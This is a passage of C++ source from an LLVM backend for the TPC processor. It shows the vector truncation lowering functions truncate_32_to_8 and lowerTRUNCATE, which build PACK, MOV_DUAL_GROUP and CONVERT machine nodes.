return SDValue(DAG.getMachineNode(TPC::ORssp, DL, MVT::i32, Ops), 0);\n}\n\nSDValue TPCTargetLowering::truncate_32_to_8(SelectionDAG &DAG, SDValue Src0,\n SDValue Src1, SDValue Src2,\n SDValue Src3, SDLoc &DL,\n EVT ResultVT,\n uint64_t dataType) const {\n // y = v_i8_pack_v(x0, y, e_group_0, e_every_forth_element);\n SmallVector<SDValue, 8> Ops11(6);\n Ops11[0] = Src0; // Source.\n Ops11[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops11[2] = DAG.getTargetConstant(TPCII::SW_STRIDE_4, DL, MVT::i32); // Switch.\n Ops11[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops11[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops11[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node11 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops11);\n SDValue val11 = SDValue(Node11, 0);\n\n // y = v_i8_pack_v(x0, y, e_group_1, e_every_forth_element);\n SmallVector<SDValue, 8> Ops12(6);\n Ops12[0] = Src0; // Source.\n Ops12[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops12[2] = DAG.getTargetConstant(\n (TPCII::SW_STRIDE_4 | TPCII::SW_GROUP_SOURCE), DL, MVT::i32); // Switch.\n Ops12[3] = val11; // Income.\n Ops12[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops12[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node12 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops12);\n SDValue val12 = SDValue(Node12, 0);\n\n // y = v_i8_mov_dual_group_v(y, 0xFFFF0000, y, 1, 0, 1, 0);\n SmallVector<SDValue, 8> Ops13(6);\n Ops13[0] = val12; // Source.\n Ops13[1] = DAG.getTargetConstant(0xFFFF0000, DL, MVT::i32); // DataType.\n Ops13[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 0 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP),\n DL, MVT::i32); // Switch.\n Ops13[3] = val12; // Income.\n Ops13[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops13[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node13 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops13);\n SDValue val13 = SDValue(Node13, 0);\n\n // y = v_i8_mov_dual_group_v(y, 0x0000FFFF, y, 2, 0, 0, 1);\n SmallVector<SDValue, 8> Ops14(6);\n Ops14[0] = val13; // Source.\n Ops14[1] = DAG.getTargetConstant(0x0000FFFF, DL, MVT::i32); // DataType.\n Ops14[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 0 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops14[3] = val13; // Income.\n Ops14[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops14[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node14 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops14);\n SDValue val14 = SDValue(Node14, 0);\n\n // y = v_i8_mov_dual_group_v(y, 0xFFFF0000, y, 3, 0, 0, 1);\n SmallVector<SDValue, 8> Ops15(6);\n Ops15[0] = val14; // Source.\n Ops15[1] = DAG.getTargetConstant(0xFFFF0000, DL, MVT::i32); // DataType.\n Ops15[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 0 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops15[3] = val14; // Income.\n Ops15[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops15[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node15 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops15);\n SDValue val15 = SDValue(Node15, 0);\n\n // t = v_i8_pack_v(x1, t, e_group_0, e_every_forth_element);\n SmallVector<SDValue, 8> Ops21(6);\n Ops21[0] = Src1; // Source.\n Ops21[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops21[2] = DAG.getTargetConstant(TPCII::SW_STRIDE_4, DL, MVT::i32); // Switch.\n Ops21[3] = DAG.getUNDEF(ResultVT); // Income.\n Ops21[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops21[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node21 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops21);\n SDValue val21 = SDValue(Node21, 0);\n\n // t = v_i8_pack_v(x1, t, e_group_1, e_every_forth_element);\n SmallVector<SDValue, 8> Ops22(6);\n Ops22[0] = Src1; // Source.\n Ops22[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops22[2] = DAG.getTargetConstant(\n (TPCII::SW_STRIDE_4 | TPCII::SW_GROUP_SOURCE), DL, MVT::i32); // Switch.\n Ops22[3] = val21; // Income.\n Ops22[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops22[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node22 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops22);\n SDValue val22 = SDValue(Node22, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0x0000FFFF, y, 0, 1, 1, 0);\n SmallVector<SDValue, 8> Ops23(6);\n Ops23[0] = val22; // Source.\n Ops23[1] = DAG.getTargetConstant(0x0000FFFF, DL, MVT::i32); // DataType.\n Ops23[2] = DAG.getTargetConstant((0 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP),\n DL, MVT::i32); // Switch.\n Ops23[3] = val15; // Income.\n Ops23[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops23[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node23 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops23);\n SDValue val23 = SDValue(Node23, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0xFFFF0000, y, 1, 1, 1, 0);\n SmallVector<SDValue, 8> Ops24(6);\n Ops24[0] = val22; // Source.\n Ops24[1] = DAG.getTargetConstant(0xFFFF0000, DL, MVT::i32); // DataType.\n Ops24[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP),\n DL, MVT::i32); // Switch.\n Ops24[3] = val23; // Income.\n Ops24[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops24[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node24 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops24);\n SDValue val24 = SDValue(Node24, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0x0000FFFF, y, 2, 1, 0, 1);\n SmallVector<SDValue, 8> Ops25(6);\n Ops25[0] = val22; // Source.\n Ops25[1] = DAG.getTargetConstant(0x0000FFFF, DL, MVT::i32); // DataType.\n Ops25[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops25[3] = val24; // Income.\n Ops25[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops25[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node25 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops25);\n SDValue val25 = SDValue(Node25, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0xFFFF0000, y, 3, 1, 0, 1);\n SmallVector<SDValue, 8> Ops26(6);\n Ops26[0] = val22; // Source.\n Ops26[1] = DAG.getTargetConstant(0xFFFF0000, DL, MVT::i32); // DataType.\n Ops26[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 1 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops26[3] = val25; // Income.\n Ops26[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops26[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node26 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops26);\n SDValue val26 = SDValue(Node26, 0);\n\n // t = v_i8_pack_v(x2, t, e_group_0, e_every_forth_element);\n SmallVector<SDValue, 8> Ops31(6);\n Ops31[0] = Src2; // Source.\n Ops31[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops31[2] = DAG.getTargetConstant(TPCII::SW_STRIDE_4, DL, MVT::i32); // Switch.\n Ops31[3] = val22; // Income.\n Ops31[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops31[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node31 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops31);\n SDValue val31 = SDValue(Node31, 0);\n\n // t = v_i8_pack_v(x2, t, e_group_1, e_every_forth_element);\n SmallVector<SDValue, 8> Ops32(6);\n Ops32[0] = Src2; // Source.\n Ops32[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops32[2] = DAG.getTargetConstant(\n (TPCII::SW_STRIDE_4 | TPCII::SW_GROUP_SOURCE), DL, MVT::i32); // Switch.\n Ops32[3] = val31; // Income.\n Ops32[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops32[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node32 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops32);\n SDValue val32 = SDValue(Node32, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0x0000FFFF, y, 0, 2, 1, 0);\n SmallVector<SDValue, 8> Ops33(6);\n Ops33[0] = val32; // Source.\n Ops33[1] = DAG.getTargetConstant(0x0000FFFF, DL, MVT::i32); // DataType.\n Ops33[2] = DAG.getTargetConstant((0 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP),\n DL, MVT::i32); // Switch.\n Ops33[3] = val26; // Income.\n Ops33[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops33[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node33 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops33);\n SDValue val33 = SDValue(Node33, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0xFFFF0000, y, 1, 2, 1, 0);\n SmallVector<SDValue, 8> Ops34(6);\n Ops34[0] = val32; // Source.\n Ops34[1] = DAG.getTargetConstant(0xFFFF0000, DL, MVT::i32); // DataType.\n Ops34[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP),\n DL, MVT::i32); // Switch.\n Ops34[3] = val33; // Income.\n Ops34[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops34[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node34 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops34);\n SDValue val34 = SDValue(Node34, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0x0000FFFF, y, 2, 2, 0, 1);\n SmallVector<SDValue, 8> Ops35(6);\n Ops35[0] = val32; // Source.\n Ops35[1] = DAG.getTargetConstant(0x0000FFFF, DL, MVT::i32); // DataType.\n Ops35[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops35[3] = val34; // Income.\n Ops35[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops35[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node35 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops35);\n SDValue val35 = SDValue(Node35, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0xFFFF0000, y, 3, 2, 0, 1);\n SmallVector<SDValue, 8> Ops36(6);\n Ops36[0] = val32; // Source.\n Ops36[1] = DAG.getTargetConstant(0xFFFF0000, DL, MVT::i32); // DataType.\n Ops36[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 2 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops36[3] = val35; // Income.\n Ops36[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops36[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node36 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops36);\n SDValue val36 = SDValue(Node36, 0);\n\n // t = v_i8_pack_v(x3, t, e_group_0, e_every_forth_element);\n SmallVector<SDValue, 8> Ops41(6);\n Ops41[0] = Src3; // Source.\n Ops41[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops41[2] = DAG.getTargetConstant(TPCII::SW_STRIDE_4, DL, MVT::i32); // Switch.\n Ops41[3] = val32; // Income.\n Ops41[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops41[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node41 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops41);\n SDValue val41 = SDValue(Node41, 0);\n\n // t = v_i8_pack_v(x3, t, e_group_1, e_every_forth_element);\n SmallVector<SDValue, 8> Ops42(6);\n Ops42[0] = Src3; // Source.\n Ops42[1] = DAG.getTargetConstant(dataType, DL, MVT::i8); // DataType.\n Ops42[2] = DAG.getTargetConstant(\n (TPCII::SW_STRIDE_4 | TPCII::SW_GROUP_SOURCE), DL, MVT::i32); // Switch.\n Ops42[3] = val41; // Income.\n Ops42[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops42[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node42 = DAG.getMachineNode(TPC::PACKp, DL, ResultVT, Ops42);\n SDValue val42 = SDValue(Node42, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0x0000FFFF, y, 0, 3, 1, 0);\n SmallVector<SDValue, 8> Ops43(6);\n Ops43[0] = val42; // Source.\n Ops43[1] = DAG.getTargetConstant(0x0000FFFF, DL, MVT::i32); // DataType.\n Ops43[2] = DAG.getTargetConstant((0 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP),\n DL, MVT::i32); // Switch.\n Ops43[3] = val36; // Income.\n Ops43[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops43[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node43 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops43);\n SDValue val43 = SDValue(Node43, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0xFFFF0000, y, 1, 3, 1, 0);\n SmallVector<SDValue, 8> Ops44(6);\n Ops44[0] = val42; // Source.\n Ops44[1] = DAG.getTargetConstant(0xFFFF0000, DL, MVT::i32); // DataType.\n Ops44[2] = DAG.getTargetConstant((1 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_LOWER_GROUP),\n DL, MVT::i32); // Switch.\n Ops44[3] = val43; // Income.\n Ops44[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops44[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node44 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops44);\n SDValue val44 = SDValue(Node44, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0x0000FFFF, y, 2, 3, 0, 1);\n SmallVector<SDValue, 8> Ops45(6);\n Ops45[0] = val42; // Source.\n Ops45[1] = DAG.getTargetConstant(0x0000FFFF, DL, MVT::i32); // DataType.\n Ops45[2] = DAG.getTargetConstant((2 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops45[3] = val44; // Income.\n Ops45[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops45[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node45 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops45);\n SDValue val45 = SDValue(Node45, 0);\n\n // y = v_i8_mov_dual_group_v(t, 0xFFFF0000, y, 3, 3, 0, 1);\n SmallVector<SDValue, 8> Ops46(6);\n Ops46[0] = val42; // Source.\n Ops46[1] = DAG.getTargetConstant(0xFFFF0000, DL, MVT::i32); // DataType.\n Ops46[2] = DAG.getTargetConstant((3 << TPCII::SW_SRC_DUAL_GROUP_SHIFT |\n 3 << TPCII::SW_DST_DUAL_GROUP_SHIFT |\n TPCII::SW_WR_UPPER_GROUP),\n DL, MVT::i32); // Switch.\n Ops46[3] = val45; // Income.\n Ops46[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops46[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node46 =\n DAG.getMachineNode(TPC::MOV_DUAL_GROUPp, DL, ResultVT, Ops46);\n SDValue val46 = SDValue(Node46, 0);\n\n return val46;\n}\n\nSDValue TPCTargetLowering::lowerTRUNCATE(SDValue Op, SelectionDAG &DAG,\n unsigned int InputSwitch,\n bool IsCastIntrinsicWithRoundMode) const {\n SDLoc DL(Op);\n EVT OpType = Op->getValueType(0);\n EVT ResultType = Op->getValueType(0);\n EVT ResultVT = Op->getValueType(0);\n const SDValue &Src = Op.getOperand(0);\n EVT SrcType = Src.getValueType();\n bool cast32to16 = false, cast16to8 = false, cast32to8 = false;\n enum TPCII::OpType targetType;\n enum TPCII::OpType sourceType;\n if ((OpType == MVT::v128i16) && (SrcType == MVT::v128i32)) {\n ResultType = MVT::v64i32;\n ResultVT = MVT::v128i16;\n cast32to16 = true;\n targetType = (Src.getOpcode() == ISD::FP_TO_UINT)\n ? TPCII::OpType::UINT16\n : TPCII::OpType::INT16;\n sourceType = (Src.getOpcode() == ISD::FP_TO_UINT)\n ? TPCII::OpType::UINT32\n : TPCII::OpType::INT32;\n } else if ((OpType == MVT::v256i8) && (SrcType == MVT::v256i16)) {\n ResultType = MVT::v128i16;\n ResultVT = MVT::v256i8;\n cast16to8 = true;\n targetType = (Src.getOpcode() == ISD::FP_TO_UINT)\n ? TPCII::OpType::UINT8\n : TPCII::OpType::INT8;\n sourceType = (Src.getOpcode() == ISD::FP_TO_UINT)\n ? TPCII::OpType::UINT16\n : TPCII::OpType::INT16;\n } else if ((OpType == MVT::v256i8) && (SrcType == MVT::v256i32)) {\n ResultType = MVT::v64i32;\n ResultVT = MVT::v256i8;\n cast32to8 = true;\n targetType = (Src.getOpcode() == ISD::FP_TO_UINT)\n ? TPCII::OpType::UINT8\n : TPCII::OpType::INT8;\n sourceType = (Src.getOpcode() == ISD::FP_TO_UINT)\n ? TPCII::OpType::UINT32\n : TPCII::OpType::INT32;\n } else if (OpType == MVT::i32) {\n return lowerTRUNCATE_i32(Op, DAG);\n }\n\n if (cast32to16 || cast16to8) {\n SDValue NIndex0 = DAG.getTargetConstant(TPC::sub_0, DL, MVT::i32);\n SDNode *N0 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL,\n ResultType, Src, NIndex0);\n SDValue N0Val = SDValue(N0, 0);\n\n SDValue NIndex1 = DAG.getTargetConstant(TPC::sub_1, DL, MVT::i32);\n SDNode *N1 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL,\n ResultType, Src, NIndex1);\n SDValue N1Val = SDValue(N1, 0);\n\n SmallVector<SDValue, 8> Ops1(6);\n Ops1[0] = N0Val; // Source.\n Ops1[1] = DAG.getTargetConstant(sourceType, DL, MVT::i8); // DataType.\n Ops1[2] = (cast32to16)\n ? (Src.getOpcode() == ISD::FP_TO_UINT\n ? DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : 0) |\n TPCII::SW_TO_UINT16,\n DL, MVT::i32)\n : DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : 0) |\n TPCII::SW_TO_INT16,\n DL, MVT::i32))\n : (Src.getOpcode() == ISD::FP_TO_UINT\n ? DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : 0) |\n TPCII::SW_TO_UINT8,\n DL, MVT::i32)\n : DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : 0) |\n TPCII::SW_TO_INT8,\n DL, MVT::i32));\n Ops1[3] = DAG.getUNDEF(ResultType); // Income.\n Ops1[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops1[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n\n MachineSDNode *Node1 =\n DAG.getMachineNode(TPC::CONVERTvvp, DL, ResultType, Ops1);\n SDValue Src0 = SDValue(Node1, 0);\n\n SmallVector<SDValue, 8> Ops2(6);\n Ops2[0] = N1Val; // Source.\n Ops2[1] = DAG.getTargetConstant(sourceType, DL, MVT::i8); // DataType.\n Ops2[2] = (cast32to16)\n ? (Src.getOpcode() == ISD::FP_TO_UINT\n ? DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : 0) |\n TPCII::SW_TO_UINT16,\n DL, MVT::i32)\n : DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : 0) |\n TPCII::SW_TO_INT16,\n DL, MVT::i32))\n : (Src.getOpcode() == ISD::FP_TO_UINT\n ? DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : 0) |\n TPCII::SW_TO_UINT8,\n DL, MVT::i32)\n : DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : 0) |\n TPCII::SW_TO_INT8,\n DL, MVT::i32));\n Ops2[3] = DAG.getUNDEF(ResultType); // Income.\n Ops2[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops2[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n\n MachineSDNode *Node2 =\n DAG.getMachineNode(TPC::CONVERTvvp, DL, ResultType, Ops2);\n SDValue Src1 = SDValue(Node2, 0);\n if (cast32to16) {\n return (Subtarget->hasGaudiISA())\n ? truncate_32_to_16(DAG, Src0, Src1, DL, ResultVT, targetType)\n : truncate_32_to_16_goya(DAG, Src0, Src1, DL, ResultVT,\n targetType);\n } else {\n return truncate_16_to_8(DAG, Src0, Src1, DL, ResultVT, targetType);\n }\n } else if (cast32to8) { // SrcType --> v256i32 v64i32\n SDValue NIndex0 = DAG.getTargetConstant(TPC::sub_0, DL, MVT::i32);\n SDNode *N0 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL,\n ResultType, Src, NIndex0);\n SDValue N0Val = SDValue(N0, 0);\n\n SDValue NIndex1 = DAG.getTargetConstant(TPC::sub_1, DL, MVT::i32);\n SDNode *N1 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL,\n ResultType, Src, NIndex1);\n SDValue N1Val = SDValue(N1, 0);\n\n SDValue NIndex2 = DAG.getTargetConstant(TPC::sub_2, DL, MVT::i32);\n SDNode *N2 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL,\n ResultType, Src, NIndex2);\n SDValue N2Val = SDValue(N2, 0);\n\n SDValue NIndex3 = DAG.getTargetConstant(TPC::sub_3, DL, MVT::i32);\n SDNode *N3 = DAG.getMachineNode(TargetOpcode::EXTRACT_SUBREG, DL,\n ResultType, Src, NIndex3);\n SDValue N3Val = SDValue(N3, 0);\n\n SmallVector<SDValue, 8> Ops1(6);\n Ops1[0] = N0Val; // Source.\n Ops1[1] = DAG.getTargetConstant(sourceType, DL, MVT::i8); // DataType.\n Ops1[2] =\n (Src.getOpcode() == ISD::FP_TO_UINT\n ? // Switch.\n DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_LANE_0 | TPCII::SW_TO_UINT8,\n DL, MVT::i32)\n : DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_LANE_0 | TPCII::SW_TO_INT8,\n DL, MVT::i32));\n Ops1[3] = DAG.getUNDEF(ResultType); // Income.\n Ops1[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops1[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node1 =\n DAG.getMachineNode(TPC::CONVERTvvp, DL, ResultType, Ops1);\n SDValue Src0 = SDValue(Node1, 0);\n\n SmallVector<SDValue, 8> Ops2(6);\n Ops2[0] = N1Val; // Source.\n Ops2[1] = DAG.getTargetConstant(sourceType, DL, MVT::i8); // DataType.\n Ops2[2] =\n (Src.getOpcode() == ISD::FP_TO_UINT\n ? // Switch.\n DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_LANE_0 | TPCII::SW_TO_UINT8,\n DL, MVT::i32)\n : DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_LANE_0 | TPCII::SW_TO_INT8,\n DL, MVT::i32));\n Ops2[3] = DAG.getUNDEF(ResultType); // Income.\n Ops2[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops2[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node2 =\n DAG.getMachineNode(TPC::CONVERTvvp, DL, ResultType, Ops2);\n SDValue Src1 = SDValue(Node2, 0);\n\n SmallVector<SDValue, 8> Ops3(6);\n Ops3[0] = N2Val; // Source.\n Ops3[1] = DAG.getTargetConstant(sourceType, DL, MVT::i8); // DataType.\n Ops3[2] =\n (Src.getOpcode() == ISD::FP_TO_UINT\n ? // Switch.\n DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_LANE_0 | TPCII::SW_TO_UINT8,\n DL, MVT::i32)\n : DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_LANE_0 | TPCII::SW_TO_INT8,\n DL, MVT::i32));\n Ops3[3] = DAG.getUNDEF(ResultType); // Income.\n Ops3[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops3[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node3 =\n DAG.getMachineNode(TPC::CONVERTvvp, DL, ResultType, Ops3);\n SDValue Src2 = SDValue(Node3, 0);\n\n SmallVector<SDValue, 8> Ops4(6);\n Ops4[0] = N3Val; // Source.\n Ops4[1] = DAG.getTargetConstant(sourceType, DL, MVT::i8); // DataType.\n Ops4[2] =\n (Src.getOpcode() == ISD::FP_TO_UINT\n ? // Switch.\n DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_LANE_0 | TPCII::SW_TO_UINT8,\n DL, MVT::i32)\n : DAG.getTargetConstant(\n (IsCastIntrinsicWithRoundMode ? InputSwitch : TPCII::SW_RHNE) |\n TPCII::SW_LANE_0 | TPCII::SW_TO_INT8,\n DL, MVT::i32));\n Ops4[3] = DAG.getUNDEF(ResultType); // Income.\n Ops4[4] = DAG.getRegister(TPC::SP0, MVT::i1); // Predicate.\n Ops4[5] = DAG.getTargetConstant(0, DL, MVT::i1); // Polarity.\n MachineSDNode *Node4 =\n DAG.getMachineNode(TPC::CONVERTvvp, DL, ResultType, Ops4);\n SDValue Src3 = SDValue(Node4, 0);\n\n return truncate_32_to_8(DAG, Src0, Src1, Src2, Src3, DL, ResultVT,\n targetType);\n } else {\n 